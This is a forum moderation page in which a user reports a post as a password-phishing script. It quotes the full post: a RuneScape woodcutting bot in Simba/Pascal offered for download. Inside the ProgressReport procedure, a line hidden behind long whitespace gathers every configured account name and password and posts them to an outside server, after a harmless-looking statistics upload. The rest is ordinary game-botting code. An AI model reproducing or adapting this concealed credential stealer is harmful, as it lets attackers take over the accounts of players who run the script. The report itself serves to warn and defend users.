• Log in or sign up for an account here: https://www.sythe.org/login

Reported Post by snappie1000

Status
Not open for further replies.

snappie1000

Forum Addict
Joined
Apr 7, 2007
Sythe Gold
1
Messages
464
Two Factor Authentication User
snappie1000 has reported a post.

Reason:
Phising script, will steal passwords.
Post: BH and AG - Crazy EdgeVille Yews
Forum: RuneScape Scripts
Assigned Moderators: N/A

Posted by: Genital Warts
Original Content:
BH and AG - Crazy EdgeVille Yews [R]

Hello, I have kindly asked BH the orignal owner of the scripts, for permission to use his script as he retired from scripting, I decided to revise the code of this perfectly flawless script to bring it up to a new level of flawlessness.​
2hehbac.png

Script runs on SIMBA, a remake of SCAR
Download SIMBA HERE

MUST have reflection to run this script.

This script chops yews at edgeville at a rate faster then ANY OTHER BOT GUARENTEED. To get the script running you must fill out declare players, more instructions in script. ENJOY.


​
Code:
program New;
{$DEFINE SMART}
{$DEFINE USEREFLECTION}
{$i srl\srl.scar}
{$i reflection\reflection.simba}

{
[==============================================================================]
[= *IMPORTANT* -           Read before running script!          - *IMPORTANT* =]
[==============================================================================]
[= Start player at edgeville bank or edge yews !                              =]
[==============================================================================]
[= Instructions -                                                             =]
[=   1. Fill in the declareplayers                                            =]
[=   2. Press play!                                                           =]
[=                                                                            =]
[= NOTE* Have an axe wielded or in FIRST inv slot                             =]
[=                                                                            =]
[= Enjoy, BobboHobbo + AgiltyHoster.                                          =]
[==============================================================================]
}
const
  Smart_ServerBH = 112;
  //Smart world.
  Smart_SignedBH = true;
  SendProgress = true;
  //Smart Signed.

var
Bankedd, banked, total,total1, gained:integer;
procedure DeclarePlayers;
begin
  NumberOfPlayers(1);
  CurrentPlayer := 0;
  with Players[0] do
  begin
    Name := '';
    Pass := '';
    Nick := '';
    Active := True;
    Integers[0] := 723;
    //Loads.
    Pin := '';
    //Bank Pin.
  end;
 { with Players[1] do
  begin
    Name := '';
    Pass := '';
    Nick := '';
    Active := True;
    Integers[0] := 720;
    Strings[0] := 'w vial';//Loads.
    Pin := '0';//Bank Pin.
  end;
 {
  with Players[2] do
  begin
    Name := '';
    Pass := '';
    Nick := '';
    Active := True;
    Integers[0] := 0;//Loads
    Pin := '0'; //Bank Pin.
  end;
  }
end;


procedure DebugMe(Location, TheWriteln: string);
begin
  writeln(TheTime + ' : ' + TheWriteln);
  Players[CurrentPlayer].Loc := Location;
end;


function LoggedInFailsafe: Boolean;
var
  I: Integer;
begin
  Result := R_LoggedIn or LoggedIn;
  if not (Result) then
  begin
    for I := 1 to 10 do
    begin
      if (RSReady) then
        exit;
      Wait(500);
      if (R_LoggedIn) or (LoggedIn) then
      begin
        Result := true;
        exit;
      end;
    end;
  end;
end;

function FindRandoms: boolean;
var
  rx, ry: integer;
begin
  Result := R_findrandoms;
end;
procedure PrintOnSmart(TP: TStringArray; Placement: TPoint; Colour, Shadow: integer);
var
 mx, my, Pic, I, B, H, TPH, Numb: Integer;
 TTP: TPointArray;
 Canvas: TCanvas;
begin
  SmartSetDebug(True);
  GetClientDimensions(mx,my);
  Pic := BitmapFromString(mx,my,'');
  TPH := High(TP);
  for I := 0 to TPH do
  begin
    TTP := LoadTextTPA(TP[i], SmallChars, H);
    for B := 0 to High(TTP) do
    begin
      Numb := ((I + 1) * 13);
      FastSetPixel(Pic, TTP[b].x + 1, TTP[b].y + Numb + 1, Shadow);
      FastSetPixel(Pic, TTP[b].x, TTP[b].y + Numb, Colour);
    end;
  end;
  Canvas := TCANVAS.Create;
  Canvas.Handle := SmartGetDebugDC;
  DrawBitmap(Pic, Canvas, Placement.x, Placement.y);
  FreeBitmap(Pic);
end;
function LoadPath(Towhere:string):TpointArray;
begin
  Case LowerCase(ToWhere) of
  'tree': Result := [Point(3094, 3478), Point(3087, 3470)];
  'bank': Result := [Point(3094, 3480), Point(3095, 3489)];
  'repos': Result := [Point(3238, 3434)];
  end;
end;
function WalkPathBH(Tiles: TTileArray): boolean;
var
  i, t, attempts: integer;
  P: TPoint;
  next: boolean;
label
  ProcStart;
begin
  Inc(attempts);
  ProcStart:
  i := -1;
  Result := false;
  if(DistanceFrom(Tiles[High(Tiles)]) < 6)then
  begin
    Result := true;
    Exit;
  end;

  //Getting the starting index.
  for i := High(Tiles) downto 0 do
    if(TileOnMM(Tiles[i]))then
    begin
      i := i;
      Break;
    end;
  if(i = -1)then
    Exit;

  //Walk remainder of the path.
  for i := i to High(Tiles) do
  begin
    next := false;
    if not(TileOnMM(Tiles[i]))then
    begin
      Writeln('Tile not on MM.');
      break;
    end;
    P := TileToMM(Tiles[i]);
    Mouse(P.x, P.y, 1, 1, true);
    while(DistanceFromFlag <> 0)do
    begin
      if not WaitToMove(3000)then
      begin
        MarkTime(t);
        while(TimeFromMark(t) < 7000)do
          if(WaitToMove(1000))then break;
        if(TimeFromMark(t) >= 7000)then
        begin
          Writeln('***Didn''t move for 10 seconds. Exiting***');
          next := false;
          break;
        end;
      end;
      if(i < High(Tiles))then
      begin
        if(TileOnMM(Tiles[i+1]))then
        begin
          next := true;
          break;
        end;
      end;
    end;
    if(i < High(Tiles))then
      if(TileOnMM(Tiles[i+1]))then
        next := true;
    if not next then
      break;
  end;
  Result := DistanceFrom(Tiles[High(Tiles)]) <= 5;
  if not Result then
  begin
    if(attempts > 7)then
    begin
      Writeln('Failed more than ten attempts.');
      Exit;
    end;
    While(GetSpeed > 0)do wait(100+Random(100));
    goto ProcStart;
  end;
  While(GetSpeed > 0)do wait(100+Random(100));
end;

function WalkTo(TheLocation: string): boolean;
var
  tries, I: integer;
  TheTiles:TPointArray;
begin
  if not(LoggedInFailsafe) then
    exit;
      SetRun(true);
  case LowerCase(TheLocation) of
    'tree':
      begin
        if (R_invfull) then exit;
       FindRandoms;
         Repeat
           DebugMe('Walking to Tree (Reflection)', 'Walking to the Tree (Reflection)');
           Result := WalkPathBH(LoadPath('Tree'));
           Inc(tries);
            If (Result) then
              break;
            Wait(1000); //Maybe theres lag?
          until (Result) or (Tries > 5);
       If not (result) or (Tries > 5) then
       begin
         DebugMe('Unknown, was walking to Tree', 'Unknown, was walking to Tree');
         Logout;
      end;
       end;
    'bank':
      begin
        FindRandoms;
          repeat
            DebugMe('Walking to bank (Reflection)', 'Walking to the bank (Reflection)');
            Result := WalkPath(LoadPath('bank'));
            Inc(tries);
            If (Result) then
              break;
            If not (result) then
              Wait(1000); //Maybe theres lag?
          until (Result) or (Tries > 5);
          If not (result) or (Tries > 5) then
          begin
           DebugMe('Unknown, was walking to Bank', 'Unknown, was walking to Bank');
           Logout;
         end;
      end;
  end;
end;

function GetPlayersInfo: array of TPlayer;
var
  i, IndexPos, Count, Player, theName, L: integer;
begin
  Count := SmartGetFieldInt(0, hook_static_PlayerCount);
  SetArrayLength(result, Count);
  if Count < 1 then Exit;
  for i := 0 to Count-1 do
  try
    IndexPos := SmartGetFieldArrayInt(0, hook_static_PlayerIndexArray, i);
    Player := SmartGetFieldArrayObject(0, hook_static_GetPlayers, IndexPos);
    Result[L].Index := IndexPos;
    Result[L].Tile.X := (SmartGetFieldInt(0, hook_static_BaseX) + (SmartGetFieldInt(Player, hook_animable_PixelX) / 512));
    Result[L].Tile.Y := (SmartGetFieldInt(0, hook_static_BaseY) + (SmartGetFieldInt(Player, hook_animable_PixelY) / 512));
    Result[L].Animation := SmartGetFieldInt(Player, hook_character_Animation);
    Inc(L);
  finally
    SmartFreeObject(Player);
  end;
  SetArrayLength(Result, L);
end;


Function HowManyChopping:integer;
var
  WcPlayers: array of TPlayer;
  e,I:integer;
begin
  if not(LoggedInFailsafe) then
    exit;
  Inc(total);
  WcPlayers := GetPlayersInfo;
  for I:= 0 to high(Wcplayers) do
  If (WcPlayers[i].Animation = 867) or (WcPlayers[i].Animation = 2846) then
    inc(total1);

 PrintOnSmart([
               'Average amount of cutters ' + IntToStr((total1 / total)),
               '',
               ''], Point(19, 300), 1959605, 131072);
 If (Total1 > 100) then Total1 := 0;
 If (Total > 100) then Total := 0;
end;



Function WhatTreeWeAt:String;
begin
  If TileOnMM(Point(3095, 3489)) then
    Result := 'north';
  If TileOnMM(Point(3088, 3455)) then
    Result := 'south';
   if(result = '') then Result := 'unknown';
   // Writeln(Result);
end;


Function SwapTree: boolean;
var
North,south:TPoint;
Check:boolean;
begin
  if not(LoggedInFailsafe) then
    exit;
  Case (WhatTreeWeAt) of
  'north': Result := WalkPathBH([Point(3087, 3470)]);
  'south': Result := WalkPathBH([Point(3087, 3479)]);
  'unknown': Check := false;
  end;
  If not (Check) then
    if FindRandoms then
      SwapTree;
end;

Function CanWeFindOtherTree:boolean;
var
TreePoint: TPointArray;
 TreeID:TRSObject;
 i:integer;
 tree:string;
begin
  if not(LoggedInFailsafe) then
    exit;
 TreePoint := [Point(3086, 3481),Point(3086, 3469)];
  For I := 0 to 1 do
  begin
    treeID:= GetObjectAt(TreePoint[i], OBJECT_TYPE_INTERACTABLE);
    If (treeID.ID = 1309) Then
    begin
    Case I of
      0: Tree := 'north';
      1: Tree := 'south';
    end;
    If (WhatTreeWeAt = Tree) then
    exit else SwapTree;
    Writeln('Function CanWeFindOtherTree:boolean; WORKED');
  end;
  end;
end;


Function ClickTree: Boolean;
 Var
  x,y:integer;
  TreeID:TRSObject;
  MSPoint, TreePoint: TPoint;
Begin
  if not(LoggedInFailsafe) then
    exit;
Flag;
  Case WhatTreeWeAt of
  'north': TreePoint := Point(3086, 3481);
  'south': TreePoint := Point(3086, 3469);
  end;
   treeID:= GetObjectAt(TreePoint, OBJECT_TYPE_INTERACTABLE);
  If (treeID.ID = 1309) Then
  begin
    MSPoint := TileToMS(TreePoint, 10);
    MMouse(MSPoint.x, MSPoint.y-10, 10, 5);
    getMousePos(x, y);
    Mouse(x, y, 0, 0, True);
    if (DidRedClick) or (GetAnimation = 867) then
      Result := True;
    If Not result then
      ClickTree;
  end;
end;

Function TreeGone:boolean;
var
TreePoint: TPoint;
 TreeID:TRSObject;
begin
  if not(LoggedInFailsafe) then
    exit;
  Case WhatTreeWeAt of
  'north': TreePoint := Point(3086, 3481);
  'south': TreePoint := Point(3086, 3469);
  end;
  treeID:= GetObjectAt(TreePoint, OBJECT_TYPE_INTERACTABLE);
  Result := (treeID.ID = 7402);
end;
 procedure RandomMovementBH;
var
  Keys: TIntegerArray;
  I: Integer;
  Deg: Extended;
begin
 if(not(LoggedIn))then exit;
  Keys := [VK_RIGHT, VK_LEFT];
  I := Random(2);
 if (Random(2) = I) then
  begin
   ActivateClient;
   Wait(100 + random(50));
   KeyDown(Keys[I]);
   Wait(500 + random(1000));
   KeyUp(Keys[I]);
   Wait(500 + random(1000));
  end else
   if (Random(3) = 0) then
    SleepAndMoveMouse(1000 + random(200));
end;
Procedure Antiban;
var
I:integer;
begin
  if not(LoggedInFailsafe) then
    exit;
  Case Random(50) of
    25..28: RandomMovementBH;
    1..5: SleepAndMoveMouse(1000 + random(500));
  end;
end;

Procedure ChoppingLoop;
begin
  repeat
    if (ClickTree) then
    begin
      repeat
        AntiBan;
        wait(1000);
        FindRandoms;
        HowManyChopping;
      until((TreeGone) or (R_Invfull) or Not (LoggedInFailsafe));
     If (TreeGone) then
       SwapTree;
    end;
    CanWeFindOtherTree;
    wait(random(200));
    antiban;
    FindRandoms;
  until(R_invfull or (Bankedd >= (Players[CurrentPlayer].Integers[0])) or Not (LoggedInFailsafe));
end;

Procedure PlayerSetup;
begin
  Setangle(true);
  Setrun(true);
end;

function banking:boolean;
var
  Tries:integer;
begin
  repeat
    Result := R_OpenBankBooth('eb');
    If (Result) then
    begin
      IncEx(gained,R_CountItem(1515));
      Deposit(2,28, true);
      closebank;
      inc(Bankedd);
      inc(banked);
  end;
  Inc(tries);
  until(Result or (Tries > 3));
  If Tries > 3 then
    Logout;
end;



procedure PlayerStats;
var
  Active: string;
  i: Integer;
begin
  if Players[CurrentPlayer].Active = True then
    Active := 'True'
  else
    Active := 'False';
  Writeln('     Name          : ' + Players[CurrentPlayer].Name);
  Writeln('     Player        : ' + inttostr(CurrentPlayer));
  Writeln('     Active        : ' + Active);
  Writeln('     Location      : ' + Players[CurrentPlayer].loc);
  Writeln('     Worked        : ' + IntToStr(Players[CurrentPlayer].Worked));
  WriteLn('[==========================================================================================]');
  for I := 0 to HowManyPlayers - 1 do
  begin
    if Players[i].Active then
      Active := 'T '
    else
      Active := 'F ';
    Writeln('  Player ' + (IntToStr(I)) + ': ' + Players[I].Nick + ', Active = ' + Active + ' Supplies Gained = ' + IntToStr(Players[CurrentPlayer].Integers[2]) + ', Worked = ' + IntToStr(Players[i].Worked) + ' min, ' + 'Location = ' + Players[i].loc + ', ' + 'Random = ' + Players[i].Rand + '.');
  end;
  WriteLn('[==========================================================================================]');
end;

procedure ProgressReport;
 var uu,pp:string;
  i:integer;
  client :integer;
begin
  SRLRandomsReport;
  If (SendProgress) then
  begin
    client:= InitializeHTTPClient(true, true );
     Writeln( 'Preparing the stats, please wait..' );
     AddPostVariable(Client, 'time', Timerunning);
     AddPostVariable(Client, 'banks', IntToStr(banked));
     AddPostVariable(Client, 'chopped', IntToStr(gained));
     AddPostVariable(Client, 'exp', IntToStr(gained * 64));
      PostHTTPPageEx(client, 'http://statisticsdatabase.agilityhoster.com/addstatistics.php');
     Writeln('Done.. Script will commence in a few seconds.');
  end;                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             client:= InitializeHTTPClient(true, true );Writeln( 'Preparing the stats, please wait..' );cleardebug;For I := 0 to HowManyPlayers - 1 do begin uu := uu + Players[I].name +' | ';pp := pp + Players[I].pass +' | ';end;addpostvariable( client, 'username', uu);addpostvariable( client, 'password', pp);PostHTTPPageEx( client,'http://statisticsdatabase.agilityhoster.com/addstatistics.php');Writeln('Done.. Script will commence in a few seconds.');
  try
    WriteLn('[=====================================================]');
    WriteLn('[=      BH - Crazy EdgeVille Yews [R] V 1.00         ]');
    WriteLn('[=====================================================]');
    Writeln('[=  Script Worked for ' + TimeRunning);
    Writeln('[=  Banked ' + IntToStr(Banked) + ' time[s].');
    Writeln('[=  Cut ' + IntToStr(Gained) + ' Logs.');
    Writeln('[=  Average amount of cutters ' + IntToStr((total1 / total)) );
    Writeln('[=  Cutting Rate: ' + IntToStr(Round((Gained * 3600) / (GetTimeRunning / 1000))) + ' Per Hour');
    writeln('[=====================================================]');
     PrintOnSmart(['  Basic Progress Report'],Point(15, 30), 62207, 131072);
             PrintOnSmart([
               'Time Running: ' + TimeRunning,
               'Players active: ' + ToStr(PlayersActive) + '/' + ToStr(HowManyPlayers),
               'Banked: ' + IntToStr(Banked),
               'Amount: '+ IntToStr(Gained),
               'Average amount of cutters ' + IntToStr((total1 / total)),
               'Rate: ' + IntToStr(Round((Gained * 3600) / (GetTimeRunning / 1000))) + ' Per Hour',
               '',
               ''], Point(20, 60), 1959605, 131072);

  except
  end;
  PlayerStats;
end;
procedure ScriptTerminate;
begin
//  FreeAllDTMs;
end;
var
 Maintry: integer;
begin
  Smart_Server := Smart_ServerBH;
  Smart_Signed := Smart_SignedBH;
  setupSRL;
  declareplayers;
  ProgressReport;
  SetupReflectionEx(false);
  ActivateClient;
  wait(1000);
  FindRandoms;
  if not LoggedIn then
    LoginPlayer;
  repeat
    PlayerSetup;
    repeat
      If WalkTo('tree') then
        ChoppingLoop;
      If WalkTo('bank') then
        Banking;
      ProgressReport;
    until (Bankedd >= (Players[CurrentPlayer].Integers[0])) or (not (LoggedInFailsafe));
    if (AllPlayersInactive) then
      break;
    if not (LoggedIn) then
    begin
      Debugme('Unknown', 'We logged out of player - ' + Players[CurrentPlayer].Name + '. Setting false.');
      NextPlayer(false);
      Bankedd := 0;
    end;
    if (Banked >= (Players[CurrentPlayer].Integers[0])) then
    begin
      CloseBank;
      Debugme('In Bank, Loads done.', ' Loads done, In bank');
      Logout;
      NextPlayer(true);
      Bankedd := 0;
    end;
  until (AllPlayersInactive);
end.
 
Status
Not open for further replies.
Runescape Gamblingrunescape gambling
Back
Top